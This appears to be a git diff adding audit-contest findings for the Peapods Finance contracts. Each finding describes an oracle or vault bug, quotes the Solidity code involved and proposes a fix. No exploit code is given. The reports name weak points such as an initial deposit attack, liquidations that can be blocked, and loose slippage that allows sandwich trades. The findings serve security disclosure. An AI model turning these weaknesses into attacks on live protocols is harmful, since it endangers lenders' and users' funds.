+@> if (address(_pod) != address(0) && minimumDepositAtCreation > 0) {
+ _depositMin(_aspAddy, _pod);
+ }
+ AutoCompoundingPodLp(_aspAddy).transferOwnership(owner());
+ emit Create(_aspAddy);
+ }
+
+ function _depositMin(address _aspAddy, IDecentralizedIndex _pod) internal {
+ address _lpToken = _pod.lpStakingPool();
+ IERC20(_lpToken).safeTransferFrom(_msgSender(), address(this), minimumDepositAtCreation);
+ IERC20(_lpToken).safeIncreaseAllowance(_aspAddy, minimumDepositAtCreation);
+ AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, _msgSender());
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairDeployer.sol#L274
+
+```solidity
+ if (defaultDepositAmt > 0) {
+ IERC20(_fraxlendPair.asset()).safeTransferFrom(msg.sender, address(this), defaultDepositAmt);
+ IERC20(_fraxlendPair.asset()).approve(address(_fraxlendPair), defaultDepositAmt);
+ _fraxlendPair.deposit(defaultDepositAmt, msg.sender);
+ }
+```
+
+Additionally, for AutoCompoundingPodLP, if it was created as a self-lending pod in LeverageFactory, it would not set the `_pod` parameter, so no initial deposit would be created. This means it is by default susceptible to initial deposit attack.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L109
+
+```solidity
+ function createSelfLendingPodAndAddLvf(
+ address _borrowTkn,
+ address _dexAdapter,
+ address _indexUtils,
+ bytes memory _podConstructorArgs,
+ bytes memory _aspTknOracleRequiredImmutables,
+ bytes memory _aspTknOracleOptionalImmutables,
+ bytes memory _fraxlendPairConfigData
+ ) external returns (address _newPod, address _aspTkn, address _aspTknOracle, address _fraxlendPair) {
+ ...
+@> _aspTkn = _getOrCreateAspTkn(_podConstructorArgs, "", "", address(0), _dexAdapter, _indexUtils, true, false);
+ ...
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+- Attacker is deployer of the vault contracts, or a self-lending pod is created.
+
+### Attack Path
+
+Mentioned above.
+
+### Impact
+
+AutoCompoundingPodLP and FraxlendPair are still vulnerable to vault initial deposit attack.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Don't send the initial shares to deployer, but to a address(0) contract.
\ No newline at end of file
diff --git a/473.md b/473.md
new file mode 100644
index 0000000..37b5a0d
--- /dev/null
+++ b/473.md
@@ -0,0 +1,125 @@
+Keen Jetblack Deer
+
+Medium
+
+# spTKNMinimalOracle calculates debondFee twice, leading to inaccurate oracle price.
+
+
+### Summary
+
+spTKNMinimalOracle calculates debondFee twice, leading to inaccurate oracle price.
+
+### Root Cause
+
+In `spTKNMinimalOracle`, there are two places that need to calculate debondFees:
+
+1. `_calculateBasePerPTkn` function: Conversion from underlyingTKN/baseTKN => pTKN/baseTKN. For example, from WETH/USDC to pWETH/USDC.
+2. `_checkAndHandleBaseTokenPodConfig` function: Conversion from baseTKN/spTKN to poddedBaseTKN/spTKN. For example, if pairedLpTKN is pOHM, this converts OHM/spTKN to pOHM/spTKN.
+
+In both scenarios, it calls `_accountForCBRInPrice()` which calls `DecentralizedIndex.convertToAssets` to calculate CBR rate, then call `_accountForUnwrapFeeInPrice()` to deduce the debondFee. The bug here is, `convertToAssets` already consider debond fees, and the current implementation would calculate it twice.
+
+This would cause the oracle to be underpriced, leading to a lower asset/collateral ratio in lending, meaning the same amount of collateral (spTKN) can borrow more baseTKNs, which increases the lenidng risk.
+
+Also, since the pairedLpTKN -> pTKN swap also uses this oracle [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L319), this leads to inaccurate slippage.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol
+
+```solidity
+
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ ...
+ if (BASE_IS_POD) {
+@> _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+ _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
+ }
+ }
+
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+
+ // adjust current price for spTKN pod unwrap fee, which will end up making the end price
+ // (spTKN per base) higher, meaning it will take more spTKN to equal the value
+ // of base token. This will more accurately ensure healthy LTVs when lending since
+ // a liquidation path will need to account for unwrap fees
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+
+ function _checkAndHandleBaseTokenPodConfig(uint256 _currentPrice18) internal view returns (uint256 _finalPrice18) {
+ _finalPrice18 = _accountForCBRInPrice(BASE_TOKEN, address(0), _currentPrice18);
+ _finalPrice18 = _accountForUnwrapFeeInPrice(BASE_TOKEN, _finalPrice18);
+ }
+
+ function _accountForCBRInPrice(address _pod, address _underlying, uint256 _amtUnderlying)
+ internal
+ view
+ returns (uint256)
+ {
+ require(IDecentralizedIndex(_pod).unlocked() == 1, "OU");
+ if (_underlying == address(0)) {
+ IDecentralizedIndex.IndexAssetInfo[] memory _assets = IDecentralizedIndex(_pod).getAllAssets();
+ _underlying = _assets[0].token;
+ }
+ uint256 _pTknAmt =
+ (_amtUnderlying * 10 ** IERC20Metadata(_pod).decimals()) / 10 ** IERC20Metadata(_underlying).decimals();
+ return IDecentralizedIndex(_pod).convertToAssets(_pTknAmt);
+ }
+
+ function _accountForUnwrapFeeInPrice(address _pod, uint256 _currentPrice)
+ internal
+ view
+ returns (uint256 _newPrice)
+ {
+ uint16 _unwrapFee = IDecentralizedIndex(_pod).DEBOND_FEE();
+ _newPrice = _currentPrice - (_currentPrice * _unwrapFee) / 10000;
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L120
+
+```solidity
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+ // @audit-note: Debond fee is already calculated here.
+@> _assets -= ((_assets * _fees.debond) / DEN);
+ }
+```
+
+### Internal pre-conditions
+
+- debondFee is non-zero.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+1. Oracle price is undercalculated, leading to larger risk in lending market.
+2. pairedLpTKN -> pTKN swap uses inaccurate slippage.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Only calculate debondFee once.
diff --git a/474.md b/474.md
new file mode 100644
index 0000000..4471060
--- /dev/null
+++ b/474.md
@@ -0,0 +1,131 @@
+Keen Jetblack Deer
+
+Medium
+
+# spTKNMinimalOracle uses DIA oracle which only supports /USD pairs, which incorrectly assumes all stablecoins are priced at 1 USD.
+
+
+### Summary
+
+spTKNMinimalOracle uses DIA oracle which only supports /USD pairs, which incorrectly assumes all stablecoins are priced at 1 USD.
+
+### Root Cause
+
+The `_getDefaultPrice18()` function is responsible for returning underlyingTKN/baseTKN. For example, for a PEAS pod (pPEAS) that pairs with WETH, it should return PEAS/WETH.
+
+There are multiple ways to calculate this. The basic idea is to calculate the underlyingTKN price (against any token) using a UniswapV3 pool, and divide it by the baseTKN price (against the same token) using an oracle (Chainlink, DIA, UniV3Pool).
+
+For example, it would be first calculating `_price18` to be PEAS/USDC, then divide it with WETH/USDC. The problem here is, if we are using DIA oracle, since it is always paired with USD, and UniswapV3 pool cannot provide a price against USD, the underlying assumption is all stablecoins (e.g. USDC) is priced to 1 USD.
+
+However, this is not always true. A recent USDC depeg event on 2023/03 is when it went as low as 87 cents (https://decrypt.co/123211/usdc-stablecoin-depegs-90-cents-circle-exposure-silicon-valley-bank).
+
+This would cause the oracle pricing to be inaccurate.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L1
+
+```solidity
+ function _getDefaultPrice18() internal view returns (bool _isBadData, uint256 _price18) {
+ (_isBadData, _price18) = IMinimalSinglePriceOracle(UNISWAP_V3_SINGLE_PRICE_ORACLE).getPriceUSD18(
+ BASE_CONVERSION_CHAINLINK_FEED, underlyingTkn, UNDERLYING_TKN_CL_POOL, twapInterval
+ );
+ if (_isBadData) {
+ return (true, 0);
+ }
+
+ if (BASE_CONVERSION_DIA_FEED != address(0)) {
+ (bool _subBadData, uint256 _baseConvPrice18) = IMinimalSinglePriceOracle(DIA_SINGLE_PRICE_ORACLE)
+ .getPriceUSD18(address(0), BASE_IN_CL, BASE_CONVERSION_DIA_FEED, 0);
+ if (_subBadData) {
+ return (true, 0);
+ }
+ _price18 = (10 ** 18 * _price18) / _baseConvPrice18;
+ } else if (BASE_CONVERSION_CL_POOL != address(0)) {
+ (bool _subBadData, uint256 _baseConvPrice18) = IMinimalSinglePriceOracle(UNISWAP_V3_SINGLE_PRICE_ORACLE)
+ .getPriceUSD18(address(0), BASE_IN_CL, BASE_CONVERSION_CL_POOL, twapInterval);
+ if (_subBadData) {
+ return (true, 0);
+ }
+ _price18 = (10 ** 18 * _price18) / _baseConvPrice18;
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/DIAOracleV2SinglePriceOracle.sol
+
+```solidity
+ function getPriceUSD18(
+ address _clBaseConversionPoolPriceFeed,
+ address _quoteToken,
+ address _quoteDIAOracle,
+ uint256
+ ) external view virtual override returns (bool _isBadData, uint256 _price18) {
+ string memory _symbol = IERC20Metadata(_quoteToken).symbol();
+@> (uint128 _quotePrice8, uint128 _refreshedLast) =
+ IDIAOracleV2(_quoteDIAOracle).getValue(string.concat(_symbol, "/USD"));
+ if (_refreshedLast + staleAfterLastRefresh < block.timestamp) {
+ _isBadData = true;
+ }
+
+ // default base price to 1, which just means return only quote pool price without any base conversion
+ uint256 _basePrice18 = 10 ** 18;
+ uint256 _updatedAt = block.timestamp;
+ bool _isBadDataBase;
+ if (_clBaseConversionPoolPriceFeed != address(0)) {
+ (_basePrice18, _updatedAt, _isBadDataBase) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed);
+ uint256 _maxDelayBase = feedMaxOracleDelay[_clBaseConversionPoolPriceFeed] > 0
+ ? feedMaxOracleDelay[_clBaseConversionPoolPriceFeed]
+ : defaultMaxOracleDelay;
+ uint256 _isBadTimeBase = block.timestamp - _maxDelayBase;
+ _isBadData = _isBadData || _isBadDataBase || _updatedAt < _isBadTimeBase;
+ }
+ _price18 = (_quotePrice8 * _basePrice18) / 10 ** 8;
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/UniswapV3SinglePriceOracle.sol
+
+```solidity
+ function getPriceUSD18(
+ address _clBaseConversionPoolPriceFeed,
+ address _quoteToken,
+ address _quoteV3Pool,
+ uint256 _twapInterval
+ ) external view virtual override returns (bool _isBadData, uint256 _price18) {
+ uint256 _quotePriceX96 = _getPoolPriceTokenDenomenator(_quoteToken, _quoteV3Pool, uint32(_twapInterval));
+ // default base price to 1, which just means return only quote pool price without any base conversion
+ uint256 _basePrice18 = 10 ** 18;
+ uint256 _updatedAt = block.timestamp;
+ if (_clBaseConversionPoolPriceFeed != address(0)) {
+ (_basePrice18, _updatedAt, _isBadData) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed);
+ }
+ _price18 = (_quotePriceX96 * _basePrice18) / FixedPoint96.Q96;
+ uint256 _maxDelay = feedMaxOracleDelay[_clBaseConversionPoolPriceFeed] > 0
+ ? feedMaxOracleDelay[_clBaseConversionPoolPriceFeed]
+ : defaultMaxOracleDelay;
+ _isBadData = _isBadData || _updatedAt < block.timestamp - _maxDelay;
+ }
+```
+
+### Internal pre-conditions
+
+- DIA oracle is used, or chainlink oracle uses the /USD pair for calculating the final price result.
+
+### External pre-conditions
+
+- Stablecoin (e.g. USDC) depegs from USD.
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Oracle will return an incorrect price. This will lead to overpricing or underpricing the asset/collateral ratio in Fraxlend. Users can either borrow more assets (if ratio is underestimated), or liquidate positions (if ratio is overestimated).
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Consider the USD and stablecoin (e.g. USDC) difference.
diff --git a/475.md b/475.md
new file mode 100644
index 0000000..4531b7d
--- /dev/null
+++ b/475.md
@@ -0,0 +1,159 @@
+Keen Jetblack Deer
+
+Medium
+
+# spTKNMinimalOracle `getPrice()` does not correctly handle single bad data, which may lead to DoS during liquidation.
+
+
+### Summary
+
+spTKNMinimalOracle `getPrice()` does not correctly handle single bad data, which may lead to DoS during liquidation.
+
+### Root Cause
+
+The spTKNMinimalOracle is a dual oracle, which fetches price from two different sources. If one of the data source fails, the other one is used as a fallback.
+
+The bug here is if `_priceOne18` is good, but `_priceTwo18` is bad, it works fine and returns `_priceOne18` for both `_priceLow` and `_priceHigh`. However, if `_priceOne18` is bad and only `_priceTwo18` is good, `_priceLow` would be zero, and only `_priceHigh` would have the correct price.
+
+Let's see what this leads to in Fraxlend. When borrowing, the priceHigh is always used, so actually it doesn't change anything. But during liquidation, priceLow is used (which is zero), and when we try to check if a position is solvent or not, it is always solvent because the LTV (loan-to-value) calculated is always zero.
+
+This means liquidation will never go through, even if the a position exceeds the LTV, which will cause risks to lenders.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L1
+
+```solidity
+ function getPrices()
+ public
+ view
+ virtual
+ override
+ returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh)
+ {
+ uint256 _priceSpTKNBase = _calculateSpTknPerBase(0);
+ _isBadData = _priceSpTKNBase == 0;
+ uint8 _baseDec = IERC20Metadata(BASE_TOKEN).decimals();
+ uint256 _priceOne18 = _priceSpTKNBase * 10 ** (_baseDec > 18 ? _baseDec - 18 : 18 - _baseDec);
+
+ uint256 _priceTwo18 = _priceOne18;
+ if (CHAINLINK_BASE_PRICE_FEED != address(0) && CHAINLINK_QUOTE_PRICE_FEED != address(0)) {
+ uint256 _clPrice18 = _chainlinkBasePerPaired18();
+ uint256 _clPriceBaseSpTKN = _calculateSpTknPerBase(_clPrice18);
+ _priceTwo18 = _clPriceBaseSpTKN * 10 ** (_baseDec > 18 ? _baseDec - 18 : 18 - _baseDec);
+ _isBadData = _isBadData || _clPrice18 == 0;
+ }
+
+ require(_priceOne18 != 0 || _priceTwo18 != 0, "BZ");
+
+ // @audit-bug: This should also be handled if _priceOne18 is zero.
+@> if (_priceTwo18 == 0) {
+ _priceLow = _priceOne18;
+ _priceHigh = _priceOne18;
+ } else {
+ // If the prices are the same it means the CL price was pulled as the UniV3 price
+@> (_priceLow, _priceHigh) =
+ _priceOne18 > _priceTwo18 ? (_priceTwo18, _priceOne18) : (_priceOne18, _priceTwo18);
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol
+
+```solidity
+ function _isSolvent(address _borrower, uint256 _exchangeRate) internal view returns (bool) {
+ if (maxLTV == 0) return true;
+ uint256 _borrowerAmount = totalBorrow.toAmount(userBorrowShares[_borrower], true);
+ if (_borrowerAmount == 0) return true;
+ uint256 _collateralAmount = userCollateralBalance[_borrower];
+ if (_collateralAmount == 0) return false;
+
+ uint256 _ltv = (((_borrowerAmount * _exchangeRate) / EXCHANGE_PRECISION) * LTV_PRECISION) / _collateralAmount;
+ return _ltv <= maxLTV;
+ }
+
+ function _updateExchangeRate()
+ internal
+ returns (bool _isBorrowAllowed, uint256 _lowExchangeRate, uint256 _highExchangeRate)
+ {
+ // Pull from storage to save gas and set default return values
+ ExchangeRateInfo memory _exchangeRateInfo = exchangeRateInfo;
+
+ // Short circuit if already updated this block
+ if (_exchangeRateInfo.lastTimestamp != block.timestamp) {
+ // Get the latest exchange rate from the dual oracle
+ bool _oneOracleBad;
+@> (_oneOracleBad, _lowExchangeRate, _highExchangeRate) = IDualOracle(_exchangeRateInfo.oracle).getPrices();
+
+ // If one oracle is bad data, emit an event for off-chain monitoring
+ if (_oneOracleBad) emit WarnOracleData(_exchangeRateInfo.oracle);
+
+ // Effects: Bookkeeping and write to storage
+ _exchangeRateInfo.lastTimestamp = uint184(block.timestamp);
+ _exchangeRateInfo.lowExchangeRate = _lowExchangeRate;
+ _exchangeRateInfo.highExchangeRate = _highExchangeRate;
+ exchangeRateInfo = _exchangeRateInfo;
+ emit UpdateExchangeRate(_lowExchangeRate, _highExchangeRate);
+ } else {
+ // Use default return values if already updated this block
+ _lowExchangeRate = _exchangeRateInfo.lowExchangeRate;
+ _highExchangeRate = _exchangeRateInfo.highExchangeRate;
+ }
+
+ uint256 _deviation = (
+ DEVIATION_PRECISION * (_exchangeRateInfo.highExchangeRate - _exchangeRateInfo.lowExchangeRate)
+ ) / _exchangeRateInfo.highExchangeRate;
+ if (_deviation <= _exchangeRateInfo.maxOracleDeviation) {
+ _isBorrowAllowed = true;
+ }
+ }
+
+ function liquidate(uint128 _sharesToLiquidate, uint256 _deadline, address _borrower)
+ external
+ nonReentrant
+ returns (uint256 _collateralForLiquidator)
+ {
+ if (_borrower == address(0)) revert InvalidReceiver();
+
+ // Check if liquidate is paused revert if necessary
+ if (isLiquidatePaused) revert LiquidatePaused();
+
+ // Ensure deadline has not passed
+ if (block.timestamp > _deadline) revert PastDeadline(block.timestamp, _deadline);
+
+ // accrue interest if necessary
+ _addInterest();
+
+ // Update exchange rate and use the lower rate for liquidations
+@> (, uint256 _exchangeRate,) = _updateExchangeRate();
+
+ // Check if borrower is solvent, revert if they are
+ if (_isSolvent(_borrower, _exchangeRate)) {
+ revert BorrowerSolvent();
+ }
+ ...
+ }
+```
+
+
+### Internal pre-conditions
+
+- priceOne returns zero (bad data), priceTwo returns non-zero (good data).
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Liquidations will always fail.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Correctly use priceTwo if it was the only good data.
diff --git a/476.md b/476.md
new file mode 100644
index 0000000..51c4b4a
--- /dev/null
+++ b/476.md
@@ -0,0 +1,107 @@
+Keen Jetblack Deer
+
+Medium
+
+# spTKNMinimalOracle `_calculateSpTknPerBase()` does not return 0, which breaks the feature of having a fallback oracle.
+
+
+### Summary
+
+spTKNMinimalOracle `_calculateSpTknPerBase()` does not return 0, which breaks the feature of having a fallback oracle.
+
+### Root Cause
+
+The spTKNMinimalOracle is a dual oracle, which fetches price from two different sources. If one of the data source fails, the other one is used as a fallback. This is also the design in original Fraxlend.
+
+However, the `_calculateSpTknPerBase()` function has a check for `require(_basePerSpTkn18 > 0, "V2R");`, this means the price will never be zero.
+
+This defeats the meaning of having a fallback oracle, where one is supposed to work if the other one fails. But the current implementation forces both oracle to return the correct value, which is obviously not the original design.
+
+This will lead to Fraxlend DoS when it shouldn't be.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L1
+
+```solidity
+ function getPrices()
+ public
+ view
+ virtual
+ override
+ returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh)
+ {
+ uint256 _priceSpTKNBase = _calculateSpTknPerBase(0);
+ _isBadData = _priceSpTKNBase == 0;
+ uint8 _baseDec = IERC20Metadata(BASE_TOKEN).decimals();
+ uint256 _priceOne18 = _priceSpTKNBase * 10 ** (_baseDec > 18 ? _baseDec - 18 : 18 - _baseDec);
+
+ uint256 _priceTwo18 = _priceOne18;
+ if (CHAINLINK_BASE_PRICE_FEED != address(0) && CHAINLINK_QUOTE_PRICE_FEED != address(0)) {
+ uint256 _clPrice18 = _chainlinkBasePerPaired18();
+ uint256 _clPriceBaseSpTKN = _calculateSpTknPerBase(_clPrice18);
+ _priceTwo18 = _clPriceBaseSpTKN * 10 ** (_baseDec > 18 ? _baseDec - 18 : 18 - _baseDec);
+ _isBadData = _isBadData || _clPrice18 == 0;
+ }
+
+@> require(_priceOne18 != 0 || _priceTwo18 != 0, "BZ");
+
+@> if (_priceTwo18 == 0) {
+ _priceLow = _priceOne18;
+ _priceHigh = _priceOne18;
+ } else {
+ // If the prices are the same it means the CL price was pulled as the UniV3 price
+ (_priceLow, _priceHigh) =
+ _priceOne18 > _priceTwo18 ? (_priceTwo18, _priceOne18) : (_priceOne18, _priceTwo18);
+ }
+ }
+
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ uint256 _priceBasePerPTkn18 = _calculateBasePerPTkn(_price18);
+ address _pair = _getPair();
+
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_pair);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ uint256 _avgBaseAssetInLp18 = _sqrt((_priceBasePerPTkn18 * _k) / _kDec) * 10 ** (18 / 2);
+ uint256 _basePerSpTkn18 =
+ (2 * _avgBaseAssetInLp18 * 10 ** IERC20Metadata(_pair).decimals()) / IERC20(_pair).totalSupply();
+
+@> require(_basePerSpTkn18 > 0, "V2R");
+
+ _spTknBasePrice18 = 10 ** (18 * 2) / _basePerSpTkn18;
+
+ // if the base asset is a pod, we will assume that the CL/chainlink pool(s) are
+ // pricing the underlying asset of the base asset pod, and therefore we will
+ // adjust the output price by CBR and unwrap fee for this pod for more accuracy and
+ // better handling accounting for liquidation path
+ if (BASE_IS_POD) {
+ _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+ _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
+ }
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+- One of the oracle fails, e.g. due to data out of date.
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Fraxlend is supposed to work when only one oracle fails, but now it doesn't.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Allow one of the oracles to return 0. Return 0 directly if `_basePerSpTkn18` was 0 in function `_calculateSpTknPerBase()`.
\ No newline at end of file
diff --git a/477.md b/477.md
new file mode 100644
index 0000000..e85af9e
--- /dev/null
+++ b/477.md
@@ -0,0 +1,97 @@
+Keen Jetblack Deer
+
+Medium
+
+# spTKNMinimalOracle does not support advanced self-lending pods, where pairedLpTKN is a podded fraxlend token.
+
+
+### Summary
+
+spTKNMinimalOracle does not support advanced self-lending pods, where pairedLpTKN is a podded fraxlend token.
+
+### Root Cause
+
+spTKNMinimalOracle should work for self-lending pods. There are two kinds of self-lending pods. The first is the regular one, where the pairedLpTKN for a pod is a fraxlend paired fTKN. However, there is also an "advanced feature", so the pairedLpTKN is a podded fTKN (which makes it a pfTKN). This can be seen in `LeverageManager.sol` contract when initializing a leverage position.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L60
+
+```solidity
+ /// @notice The ```initializePosition``` function initializes a new position and mints a new position NFT
+ /// @param _pod The pod to leverage against for the new position
+ /// @param _recipient User to receive the position NFT
+ /// @param _overrideLendingPair If it's a self-lending pod, an override lending pair the user will use
+@> /// @param _hasSelfLendingPairPod bool Advanced implementation parameter that determines whether or not the self lending pod's paired LP asset (fTKN) is podded as well
+ function initializePosition(
+ address _pod,
+ address _recipient,
+ address _overrideLendingPair,
+ bool _hasSelfLendingPairPod
+ ) external override returns (uint256 _positionId) {
+ _positionId = _initializePosition(_pod, _recipient, _overrideLendingPair, _hasSelfLendingPairPod);
+ }
+```
+
+Now, going back to the oracle. There are two flags in the oracle: `BASE_IS_POD` and `BASE_IS_FRAX_PAIR`.
+
+1. `BASE_IS_POD` is used to support where pairedLpTKN is a normal pod token, e.g. pOHM.
+2. `BASE_IS_FRAX_PAIR` is used to support where pairedLpTKN is a normal fraxlend token, e.g. fUSDC.
+
+However, there is no support for a podded fraxlend token.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol
+
+```solidity
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ uint256 _priceBasePerPTkn18 = _calculateBasePerPTkn(_price18);
+ address _pair = _getPair();
+
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_pair);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ uint256 _avgBaseAssetInLp18 = _sqrt((_priceBasePerPTkn18 * _k) / _kDec) * 10 ** (18 / 2);
+ uint256 _basePerSpTkn18 =
+ (2 * _avgBaseAssetInLp18 * 10 ** IERC20Metadata(_pair).decimals()) / IERC20(_pair).totalSupply();
+ require(_basePerSpTkn18 > 0, "V2R");
+ _spTknBasePrice18 = 10 ** (18 * 2) / _basePerSpTkn18;
+
+ // if the base asset is a pod, we will assume that the CL/chainlink pool(s) are
+ // pricing the underlying asset of the base asset pod, and therefore we will
+ // adjust the output price by CBR and unwrap fee for this pod for more accuracy and
+ // better handling accounting for liquidation path
+ if (BASE_IS_POD) {
+@> _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+@> _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
+ }
+ }
+
+ function _checkAndHandleBaseTokenPodConfig(uint256 _currentPrice18) internal view returns (uint256 _finalPrice18) {
+ _finalPrice18 = _accountForCBRInPrice(BASE_TOKEN, address(0), _currentPrice18);
+ _finalPrice18 = _accountForUnwrapFeeInPrice(BASE_TOKEN, _finalPrice18);
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+spTKNMinimalOracle does work for podded fraxlend tokens, which means this advanced feature cannot be used in LVF at all.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Support the podded fraxlend token feature.
diff --git a/478.md b/478.md
new file mode 100644
index 0000000..6ffd985
--- /dev/null
+++ b/478.md
@@ -0,0 +1,93 @@
+Keen Jetblack Deer
+
+Medium
+
+# AutoCompoundingPodLP does not use correct oracle price as slippage for pairedLpTKn -> pTKN swap.
+
+
+### Summary
+
+AutoCompoundingPodLP does not use correct oracle price as slippage for pairedLpTKn -> pTKN swap.
+
+### Root Cause
+
+When doing the pairedLpTKN -> pTKN swap in AutoCompoundingPodLP, it checks the oracle for the expected output, and uses it as slippage. However, the oracle does not return expected result.
+
+There bug here is: the `getPodPerBasePrice()` function returns baseTKN/pTKN price, instead of pairedLpTKN/pTKN price. The difference is for podded token or fraxlend pair token as pairedLpTKN, e.g. pOHM or fUSDC. The price differs by a constant factor of asset/share ratio of the pod or the fraxlend pair token.
+
+This underestimates the oracle price, which loosens the slippage constraint. This may lead to sandwich opportunities for attackers.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L1
+
+```solidity
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ // @audit-bug: This does not return the correct oracle price.
+ _minPtknOut = (
+@> podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ ...
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol
+
+```solidity
+ function getPodPerBasePrice() external view override returns (uint256 _pricePTknPerBase18) {
+ _pricePTknPerBase18 = 10 ** (18 * 2) / _calculateBasePerPTkn(0);
+ }
+
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+
